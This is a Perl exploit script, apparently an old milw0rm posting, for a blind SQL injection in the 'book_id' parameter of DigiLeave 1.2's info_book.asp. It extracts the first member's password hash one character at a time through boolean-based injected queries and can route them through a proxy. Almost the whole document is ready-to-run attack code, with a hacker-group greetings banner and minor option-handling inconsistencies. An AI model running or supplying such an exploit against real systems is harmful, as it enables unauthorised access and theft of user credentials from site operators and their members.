DigiLeave 1.2 - 'book_id' Blind SQL Injection

#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
  print "                                                                \n";
  print "   #################### Viva IslaMe Viva IslaMe ################\n";
  print "   #   DigiLeave V1.2Blind SQL Injection Exploit               #\n";
  print "   #                                  (info_book.asp book_id ) #\n";
  print "   #   Author: Mr.SQL                                          #\n";
  print "   #   EMAIL : [email protected]                                  #\n";
  print "   #                                                           #\n";
  print "   #                -((:: GrE3E3E3E3E3ETZ ::))-                #\n";
  print "   #                                                           #\n";
  print "   #   HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMaD AL 3rab  #\n";
  print "   #                :: ALwHeD :: milw0rm ::                    #\n";
  print "   #                                                           #\n";
  print "   #              <<>>   MuSliMs HaCkErS   <<>>                #\n";
  print "   #                                                           #\n";
  print "   #   PRODUCT SITE: http://www.digiappz.com			#\n";
  print "   #                                                           #\n";
  print "   #   HOME:    WwW.PaL-HaCkEr.CoM                             #\n";
  print "   #                                                           #\n";
  print "   #   Usage  : perl test.pl host                              #\n";
  print "   #   Example: perl test.pl www.host.com / -d 10              #\n";
  print "   #   Options:                                                #\n";
  print "   #     -d    valid book_id  value                            #\n";
  print "   #############################################################\n";
  exit;
}
my $host     = $ARGV[0];
my $book_id  = $ARGV[2];
my %options = ();
GetOptions(\%options, "u=i", "p=s", "d=i");
print "[~] Exploiting...\n";
if($options{"b"})
{
  $book_id = $options{"b"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $book_id, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $book_id, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}
print "\n[~] Exploiting done\n";
sub istrue2
{
  my $host    = shift;
  my $book_id = shift;
  my $i       = shift;
  my $h       = shift;

  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host."info_book.asp?book_id=".$book_id." and (SUBSTRING((SELECT member_password FROM members LIMIT 0,1),".$i.",1))=CHAR(".$h.")";

  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }

  my $resp    = $ua->get($query);
  my $content = $resp->content;
  my $regexp  = "tourterms.pdf";

  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }
}

# milw0rm.com [2008-07-21]